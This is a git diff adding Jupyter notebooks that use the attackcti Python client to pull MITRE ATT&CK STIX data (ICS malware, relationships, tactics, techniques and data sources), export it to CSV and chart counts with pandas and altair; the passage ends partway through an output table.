description='[Conficker](https://attack.mitre.org/software/S0608) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread.(Citation: SANS Conficker) In 2016, a variant of [Conficker](https://attack.mitre.org/software/S0608) made its way on computers and removable disk drives belonging to a nuclear power plant.(Citation: Conficker Nuclear Power Plant)', revoked=False, labels=['malware'], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/software/S0608', external_id='S0608'), ExternalReference(source_name='Kido', description='(Citation: SANS Conficker) '), ExternalReference(source_name='Downadup', description='(Citation: SANS Conficker) '), ExternalReference(source_name='SANS Conficker', description='Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021.', url='https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm'), ExternalReference(source_name='Conficker Nuclear Power Plant', description=\"Cimpanu, C. (2016, April 26). Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary. Retrieved February 18, 2021.\", url='https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_aliases=['Conficker', 'Kido', 'Downadup'], x_mitre_platforms=['Windows'], x_mitre_version='1.0')" + ] + }, + "execution_count": 69, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "ics_malware[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect ICS Relationships" + ] + }, + { + "cell_type": "code", + "execution_count": 70, + "metadata": {}, + "outputs": [], + "source": [ + "ics_relationships = lift.get_ics_relationships()" + ] + }, + { + "cell_type": "code", + "execution_count": 71, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Relationships in ICS ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "536" + ] + }, + "execution_count": 71, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Relationships in ICS ATT&CK\")\n", + "len(ics_relationships)" + ] + }, + { + "cell_type": "code", + "execution_count": 72, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Relationship(type='relationship', id='relationship--95b12e1a-7f21-4fa0-9b2a-c96c7c270625', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-14T21:33:27.046Z', modified='2021-10-14T22:06:54.109Z', relationship_type='uses', description='[Sandworm Team](https://collaborate.mitre.org/attackics/index.php/Group/G0007) used valid accounts to laterally move through VPN connections and dual-homed systems.(Citation: Dragos Electrum)(Citation: Dragos CRASHOVERRIDE) In the Ukraine 2015 Incident, Sandworm Team blocked command messages by using malicious firmware to render communication devices inoperable.(Citation: ICS SANS Ukraine March 2018)', source_ref='intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192', target_ref='attack-pattern--cd2c76a4-5e23-4ca5-9c40-d5e0604f7101', revoked=False, external_references=[ExternalReference(source_name='Dragos Electrum', description='Dragos. (n.d.). Electrum. Retrieved October 27, 2019.', url='https://dragos.com/resource/electrum/'), ExternalReference(source_name='Dragos CRASHOVERRIDE', description='Dragos. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved October 14, 2019.', url='https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf'), ExternalReference(source_name='ICS SANS Ukraine March 2018', description='Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', url='https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'])" + ] + }, + "execution_count": 72, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "ics_relationships[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect ICS Tactics" + ] + }, + { + "cell_type": "code", + "execution_count": 73, + "metadata": {}, + "outputs": [], + "source": [ + "ics_tactics = lift.get_ics_tactics()" + ] + }, + { + "cell_type": "code", + "execution_count": 74, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Tactics in ICS ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "12" + ] + }, + "execution_count": 74, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Tactics in ICS ATT&CK\")\n", + "len(ics_tactics)" + ] + }, + { + "cell_type": "code", + "execution_count": 75, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'type': 'x-mitre-tactic',\n", + " 'name': 'Privilege Escalation',\n", + " 'description': 'The adversary is trying to gain higher-level permissions. Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities.',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'created': '2021-04-10T17:32:33.899Z',\n", + " 'id': 'x-mitre-tactic--33752ae7-f875-4f43-bdb6-d8d02d341046',\n", + " 'modified': '2021-04-10T17:32:33.899Z',\n", + " 'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'external_references': [{'source_name': 'mitre-ics-attack',\n", + " 'url': 'https://collaborate.mitre.org/attackics/index.php/Privilege_Escalation',\n", + " 'external_id': 'TA0111'}],\n", + " 'x_mitre_shortname': 'privilege-escalation-ics'}" + ] + }, + "execution_count": 75, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "ics_tactics[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.5" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/docs/playground/3-Export_All_Techniques_To_CSV.ipynb b/docs/playground/3-Export_All_Techniques_To_CSV.ipynb new file mode 100644 index 0000000..33582b0 --- /dev/null +++ b/docs/playground/3-Export_All_Techniques_To_CSV.ipynb @@ -0,0 +1,694 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Export All Techniques to CSV" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Import Libraries" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": {}, + "outputs": [], + "source": [ + "from attackcti import attack_client\n", + "from pandas import *\n", + "import json\n", + "\n", + "import logging\n", + "logging.getLogger('taxii2client').setLevel(logging.CRITICAL)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Initialize Attack client" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": {}, + "outputs": [], + "source": [ + "lift = attack_client()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get All Techniques STIX Format" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "736" + ] + }, + "execution_count": 13, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "all_techniques = lift.get_techniques()\n", + "len(all_techniques)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Export CSV File" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": {}, + "outputs": [], + "source": [ + "techniques = []\n", + "for t in all_techniques:\n", + " techniques.append(json.loads(t.serialize()))\n", + "df = pandas.json_normalize(techniques)" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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typeidcreated_by_refcreatedmodifiednamedescriptionkill_chain_phasesexternal_referencesobject_marking_refs...x_mitre_permissions_requiredx_mitre_platformsx_mitre_versionx_mitre_remote_supportx_mitre_system_requirementsx_mitre_network_requirementsx_mitre_effective_permissionsx_mitre_impact_typex_mitre_tactic_typex_mitre_old_attack_id
0attack-patternattack-pattern--b22e5153-ac28-4cc6-865c-2054e3...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-10-12T20:02:31.866Z2021-10-16T01:50:40.276ZResource ForkingAdversaries may abuse resource forks to hide m...[{'kill_chain_name': 'mitre-attack', 'phase_na...[{'source_name': 'mitre-attack', 'url': 'https...[marking-definition--fa42a846-8d90-4e51-bc29-7......[User][macOS]1.0NaNNaNNaNNaNNaNNaNNaN
1attack-patternattack-pattern--824add00-99a1-4b15-9a2d-6c5683...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-10-08T14:06:28.212Z2021-10-15T00:48:06.723ZDowngrade AttackAdversaries may downgrade or use a version of ...[{'kill_chain_name': 'mitre-attack', 'phase_na...[{'source_name': 'mitre-attack', 'url': 'https...[marking-definition--fa42a846-8d90-4e51-bc29-7......[User][Windows, Linux, macOS]1.0NaNNaNNaNNaNNaNNaNNaN
2attack-patternattack-pattern--84601337-6a55-4ad7-9c35-79e0d1...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-10-05T21:26:15.081Z2021-10-18T16:36:37.042ZLogin ItemsAdversaries may add login items to execute upo...[{'kill_chain_name': 'mitre-attack', 'phase_na...[{'source_name': 'mitre-attack', 'url': 'https...[marking-definition--fa42a846-8d90-4e51-bc29-7......[User][macOS]1.0NaNNaNNaNNaNNaNNaNNaN
3attack-patternattack-pattern--4933e63b-9b77-476e-ab29-761bc5...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-10-05T01:15:06.293Z2021-11-01T18:09:09.670ZReflective Code LoadingAdversaries may reflectively load code into a ...[{'kill_chain_name': 'mitre-attack', 'phase_na...[{'source_name': 'mitre-attack', 'url': 'https...[marking-definition--fa42a846-8d90-4e51-bc29-7......[User][macOS, Linux, Windows]1.0NaNNaNNaNNaNNaNNaNNaN
4attack-patternattack-pattern--8565825b-21c8-4518-b75e-cbc4c7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-10-01T17:58:26.445Z2021-10-07T18:19:25.352ZCloud Storage Object DiscoveryAdversaries may enumerate objects in cloud sto...[{'kill_chain_name': 'mitre-attack', 'phase_na...[{'source_name': 'mitre-attack', 'url': 'https...[marking-definition--fa42a846-8d90-4e51-bc29-7......NaN[IaaS]1.0NaNNaNNaNNaNNaNNaNNaN
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" + ], + "text/plain": [ + " type id \\\n", + "0 attack-pattern attack-pattern--b22e5153-ac28-4cc6-865c-2054e3... \n", + "1 attack-pattern attack-pattern--824add00-99a1-4b15-9a2d-6c5683... \n", + "2 attack-pattern attack-pattern--84601337-6a55-4ad7-9c35-79e0d1... \n", + "3 attack-pattern attack-pattern--4933e63b-9b77-476e-ab29-761bc5... \n", + "4 attack-pattern attack-pattern--8565825b-21c8-4518-b75e-cbc4c7... \n", + "\n", + " created_by_ref created \\\n", + "0 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-10-12T20:02:31.866Z \n", + "1 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-10-08T14:06:28.212Z \n", + "2 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-10-05T21:26:15.081Z \n", + "3 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-10-05T01:15:06.293Z \n", + "4 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-10-01T17:58:26.445Z \n", + "\n", + " modified name \\\n", + "0 2021-10-16T01:50:40.276Z Resource Forking \n", + "1 2021-10-15T00:48:06.723Z Downgrade Attack \n", + "2 2021-10-18T16:36:37.042Z Login Items \n", + "3 2021-11-01T18:09:09.670Z Reflective Code Loading \n", + "4 2021-10-07T18:19:25.352Z Cloud Storage Object Discovery \n", + "\n", + " description \\\n", + "0 Adversaries may abuse resource forks to hide m... \n", + "1 Adversaries may downgrade or use a version of ... \n", + "2 Adversaries may add login items to execute upo... \n", + "3 Adversaries may reflectively load code into a ... \n", + "4 Adversaries may enumerate objects in cloud sto... \n", + "\n", + " kill_chain_phases \\\n", + "0 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "1 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "2 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "3 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "4 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "\n", + " external_references \\\n", + "0 [{'source_name': 'mitre-attack', 'url': 'https... \n", + "1 [{'source_name': 'mitre-attack', 'url': 'https... \n", + "2 [{'source_name': 'mitre-attack', 'url': 'https... \n", + "3 [{'source_name': 'mitre-attack', 'url': 'https... \n", + "4 [{'source_name': 'mitre-attack', 'url': 'https... \n", + "\n", + " object_marking_refs ... \\\n", + "0 [marking-definition--fa42a846-8d90-4e51-bc29-7... ... \n", + "1 [marking-definition--fa42a846-8d90-4e51-bc29-7... ... \n", + "2 [marking-definition--fa42a846-8d90-4e51-bc29-7... ... \n", + "3 [marking-definition--fa42a846-8d90-4e51-bc29-7... ... \n", + "4 [marking-definition--fa42a846-8d90-4e51-bc29-7... ... \n", + "\n", + " x_mitre_permissions_required x_mitre_platforms x_mitre_version \\\n", + "0 [User] [macOS] 1.0 \n", + "1 [User] [Windows, Linux, macOS] 1.0 \n", + "2 [User] [macOS] 1.0 \n", + "3 [User] [macOS, Linux, Windows] 1.0 \n", + "4 NaN [IaaS] 1.0 \n", + "\n", + " x_mitre_remote_support x_mitre_system_requirements \\\n", + "0 NaN NaN \n", + "1 NaN NaN \n", + "2 NaN NaN \n", + "3 NaN NaN \n", + "4 NaN NaN \n", + "\n", + " x_mitre_network_requirements x_mitre_effective_permissions \\\n", + "0 NaN NaN \n", + "1 NaN NaN \n", + "2 NaN NaN \n", + "3 NaN NaN \n", + "4 NaN NaN \n", + "\n", + " x_mitre_impact_type x_mitre_tactic_type x_mitre_old_attack_id \n", + "0 NaN NaN NaN \n", + "1 NaN NaN NaN \n", + "2 NaN NaN NaN \n", + "3 NaN NaN NaN \n", + "4 NaN NaN NaN \n", + "\n", + "[5 rows x 25 columns]" + ] + }, + "execution_count": 16, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "df.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": {}, + "outputs": [], + "source": [ + "df.to_csv('all_techniques_stix.csv', index=False)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get All Techniques Non-STIX Format" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "736" + ] + }, + "execution_count": 19, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "all_techniques = lift.get_techniques(stix_format=False)\n", + "len(all_techniques)" + ] + }, + { + "cell_type": "code", + "execution_count": 21, + "metadata": {}, + "outputs": [], + "source": [ + "df = pandas.json_normalize(all_techniques)" + ] + }, + { + "cell_type": "code", + "execution_count": 22, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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kill_chain_phasesexternal_referencesx_mitre_versiontypeidcreated_by_refcreatedmodifiedtechniquetechnique_description...platformremote_supportcapec_idcapec_urlsystem_requirementsnetwork_requirementseffective_permissionsimpact_typetactic_typex_mitre_old_attack_id
0[{'kill_chain_name': 'mitre-attack', 'phase_na...[{'source_name': 'mitre-attack', 'url': 'https...1.0attack-patternattack-pattern--b22e5153-ac28-4cc6-865c-2054e3...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-10-12T20:02:31.866Z2021-10-16T01:50:40.276ZResource ForkingAdversaries may abuse resource forks to hide m......[macOS]NaNNaNNaNNaNNaNNaNNaNNaNNaN
1[{'kill_chain_name': 'mitre-attack', 'phase_na...[{'source_name': 'mitre-attack', 'url': 'https...1.0attack-patternattack-pattern--824add00-99a1-4b15-9a2d-6c5683...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-10-08T14:06:28.212Z2021-10-15T00:48:06.723ZDowngrade AttackAdversaries may downgrade or use a version of ......[Windows, Linux, macOS]NaNNaNNaNNaNNaNNaNNaNNaNNaN
2[{'kill_chain_name': 'mitre-attack', 'phase_na...[{'source_name': 'mitre-attack', 'url': 'https...1.0attack-patternattack-pattern--84601337-6a55-4ad7-9c35-79e0d1...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-10-05T21:26:15.081Z2021-10-18T16:36:37.042ZLogin ItemsAdversaries may add login items to execute upo......[macOS]NaNNaNNaNNaNNaNNaNNaNNaNNaN
3[{'kill_chain_name': 'mitre-attack', 'phase_na...[{'source_name': 'mitre-attack', 'url': 'https...1.0attack-patternattack-pattern--4933e63b-9b77-476e-ab29-761bc5...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-10-05T01:15:06.293Z2021-11-01T18:09:09.670ZReflective Code LoadingAdversaries may reflectively load code into a ......[macOS, Linux, Windows]NaNNaNNaNNaNNaNNaNNaNNaNNaN
4[{'kill_chain_name': 'mitre-attack', 'phase_na...[{'source_name': 'mitre-attack', 'url': 'https...1.0attack-patternattack-pattern--8565825b-21c8-4518-b75e-cbc4c7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-10-01T17:58:26.445Z2021-10-07T18:19:25.352ZCloud Storage Object DiscoveryAdversaries may enumerate objects in cloud sto......[IaaS]NaNNaNNaNNaNNaNNaNNaNNaNNaN
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5 rows × 31 columns

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" + ], + "text/plain": [ + " kill_chain_phases \\\n", + "0 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "1 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "2 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "3 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "4 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "\n", + " external_references x_mitre_version \\\n", + "0 [{'source_name': 'mitre-attack', 'url': 'https... 1.0 \n", + "1 [{'source_name': 'mitre-attack', 'url': 'https... 1.0 \n", + "2 [{'source_name': 'mitre-attack', 'url': 'https... 1.0 \n", + "3 [{'source_name': 'mitre-attack', 'url': 'https... 1.0 \n", + "4 [{'source_name': 'mitre-attack', 'url': 'https... 1.0 \n", + "\n", + " type id \\\n", + "0 attack-pattern attack-pattern--b22e5153-ac28-4cc6-865c-2054e3... \n", + "1 attack-pattern attack-pattern--824add00-99a1-4b15-9a2d-6c5683... \n", + "2 attack-pattern attack-pattern--84601337-6a55-4ad7-9c35-79e0d1... \n", + "3 attack-pattern attack-pattern--4933e63b-9b77-476e-ab29-761bc5... \n", + "4 attack-pattern attack-pattern--8565825b-21c8-4518-b75e-cbc4c7... \n", + "\n", + " created_by_ref created \\\n", + "0 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-10-12T20:02:31.866Z \n", + "1 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-10-08T14:06:28.212Z \n", + "2 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-10-05T21:26:15.081Z \n", + "3 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-10-05T01:15:06.293Z \n", + "4 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-10-01T17:58:26.445Z \n", + "\n", + " modified technique \\\n", + "0 2021-10-16T01:50:40.276Z Resource Forking \n", + "1 2021-10-15T00:48:06.723Z Downgrade Attack \n", + "2 2021-10-18T16:36:37.042Z Login Items \n", + "3 2021-11-01T18:09:09.670Z Reflective Code Loading \n", + "4 2021-10-07T18:19:25.352Z Cloud Storage Object Discovery \n", + "\n", + " technique_description ... \\\n", + "0 Adversaries may abuse resource forks to hide m... ... \n", + "1 Adversaries may downgrade or use a version of ... ... \n", + "2 Adversaries may add login items to execute upo... ... \n", + "3 Adversaries may reflectively load code into a ... ... \n", + "4 Adversaries may enumerate objects in cloud sto... ... \n", + "\n", + " platform remote_support capec_id capec_url \\\n", + "0 [macOS] NaN NaN NaN \n", + "1 [Windows, Linux, macOS] NaN NaN NaN \n", + "2 [macOS] NaN NaN NaN \n", + "3 [macOS, Linux, Windows] NaN NaN NaN \n", + "4 [IaaS] NaN NaN NaN \n", + "\n", + " system_requirements network_requirements effective_permissions impact_type \\\n", + "0 NaN NaN NaN NaN \n", + "1 NaN NaN NaN NaN \n", + "2 NaN NaN NaN NaN \n", + "3 NaN NaN NaN NaN \n", + "4 NaN NaN NaN NaN \n", + "\n", + " tactic_type x_mitre_old_attack_id \n", + "0 NaN NaN \n", + "1 NaN NaN \n", + "2 NaN NaN \n", + "3 NaN NaN \n", + "4 NaN NaN \n", + "\n", + "[5 rows x 31 columns]" + ] + }, + "execution_count": 22, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "df.head()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Export CSV File" + ] + }, + { + "cell_type": "code", + "execution_count": 23, + "metadata": {}, + "outputs": [], + "source": [ + "df.to_csv('all_techniques_non_stix.csv', index=False)" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.5" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/docs/playground/4-Explore_Data_Sources.ipynb b/docs/playground/4-Explore_Data_Sources.ipynb new file mode 100644 index 0000000..2c275cb --- /dev/null +++ b/docs/playground/4-Explore_Data_Sources.ipynb @@ -0,0 +1,3654 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Explore ATT&CK Data Sources\n", + "------------------" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Goals:\n", + "* Access ATT&CK data sources in STIX format via a public TAXII server\n", + "* Learn to interact with ATT&CK data all at once\n", + "* Explore and idenfity patterns in the data retrieved\n", + "* Learn more about ATT&CK data sources" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Import ATT&CK API Client" + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [], + "source": [ + "from attackcti import attack_client" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Import Extra Libraries" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": {}, + "outputs": [], + "source": [ + "from pandas import *\n", + "import numpy as np\n", + "import json\n", + "\n", + "import altair as alt\n", + "alt.renderers.enable('default')\n", + "\n", + "import itertools\n", + "\n", + "import logging\n", + "logging.getLogger('taxii2client').setLevel(logging.CRITICAL)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Initialize ATT&CK Client Class" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [], + "source": [ + "lift = attack_client()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get All Techniques" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": {}, + "outputs": [], + "source": [ + "all_techniques = lift.get_techniques()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Convert Techniques to Dataframe and Update Techniques Objects" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Normalizing semi-structured JSON data into a flat table via **pandas.io.json.json_normalize**\n", + "* Reference: https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": {}, + "outputs": [], + "source": [ + "temp_list = []\n", + "for t in all_techniques:\n", + " matrix_name = t['external_references'][0]['source_name']\n", + " technique_number = t['external_references'][0]['external_id']\n", + " if 'x_mitre_data_sources' in t.keys():\n", + " data_sources = list(set([ds.split(':')[0] for ds in t['x_mitre_data_sources']]))\n", + " t = t.new_version(x_mitre_data_sources = data_sources)\n", + " t = t.new_version(matrix = matrix_name)\n", + " t = t.new_version(technique_id = technique_number)\n", + " temp_list.append(json.loads(t.serialize()))\n", + "techniques = pandas.json_normalize(temp_list)\n", + "techniques.rename(columns = {'x_mitre_platforms':'platform', 'kill_chain_phases':'tactic', 'name':'technique', 'x_mitre_data_sources':'data_sources'}, inplace = True)" + ] + }, + { + "cell_type": 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matrixplatformtactictechniquetechnique_iddata_sources
0mitre-attack[macOS][{'kill_chain_name': 'mitre-attack', 'phase_na...Resource ForkingT1564.009[Command, Process, File]
1mitre-attack[Windows, Linux, macOS][{'kill_chain_name': 'mitre-attack', 'phase_na...Downgrade AttackT1562.010[Process, Command]
2mitre-attack[macOS][{'kill_chain_name': 'mitre-attack', 'phase_na...Login ItemsT1547.015[Process, File]
3mitre-attack[macOS, Linux, Windows][{'kill_chain_name': 'mitre-attack', 'phase_na...Reflective Code LoadingT1620[Module, Process, Script]
4mitre-attack[IaaS][{'kill_chain_name': 'mitre-attack', 'phase_na...Cloud Storage Object DiscoveryT1619[Cloud Storage]
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" + ], + "text/plain": [ + " matrix platform \\\n", + "0 mitre-attack [macOS] \n", + "1 mitre-attack [Windows, Linux, macOS] \n", + "2 mitre-attack [macOS] \n", + "3 mitre-attack [macOS, Linux, Windows] \n", + "4 mitre-attack [IaaS] \n", + "\n", + " tactic \\\n", + "0 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "1 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "2 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "3 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "4 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "\n", + " technique technique_id data_sources \n", + "0 Resource Forking T1564.009 [Command, Process, File] \n", + "1 Downgrade Attack T1562.010 [Process, Command] \n", + "2 Login Items T1547.015 [Process, File] \n", + "3 Reflective Code Loading T1620 [Module, Process, Script] \n", + "4 Cloud Storage Object Discovery T1619 [Cloud Storage] " + ] + }, + "execution_count": 6, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques = techniques.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)\n", + "techniques.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "A total of 736 techniques\n" + ] + } + ], + "source": [ + "print('A total of ',len(techniques),' techniques')" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Techniques Per Matrix\n", + "Using **altair** python library we can start showing a few charts stacking the number of techniques with or without data sources.\n", + "Reference: https://altair-viz.github.io/" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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matrixtechnique
0mitre-attack566
1mitre-ics-attack78
2mitre-mobile-attack92
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" + ], + "text/plain": [ + " matrix technique\n", + "0 mitre-attack 566\n", + "1 mitre-ics-attack 78\n", + "2 mitre-mobile-attack 92" + ] + }, + "execution_count": 8, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data = techniques\n", + "data_2 = data.groupby(['matrix'])['technique'].count()\n", + "data_3 = data_2.to_frame().reset_index()\n", + "data_3" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "" + ], + "text/plain": [ + "alt.Chart(...)" + ] + }, + "execution_count": 9, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "alt.Chart(data_3).mark_bar().encode(x='technique', y='matrix', color='matrix').properties(height = 200)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Techniques With and Without Data Sources" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "" + ], + "text/plain": [ + "alt.LayerChart(...)" + ] + }, + "execution_count": 10, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data_source_distribution = pandas.DataFrame({\n", + " 'Techniques': ['Without DS','With DS'],\n", + " 'Count of Techniques': [techniques['data_sources'].isna().sum(),techniques['data_sources'].notna().sum()]})\n", + "bars = alt.Chart(data_source_distribution).mark_bar().encode(x='Techniques',y='Count of Techniques',color='Techniques').properties(width=200,height=300)\n", + "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", + "bars + text" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "What is the distribution of techniques based on ATT&CK Matrix?" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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matrixInd_DStechnique
0mitre-attackWith DS520
1mitre-attackWithout DS46
2mitre-ics-attackWith DS63
3mitre-ics-attackWithout DS15
4mitre-mobile-attackWithout DS92
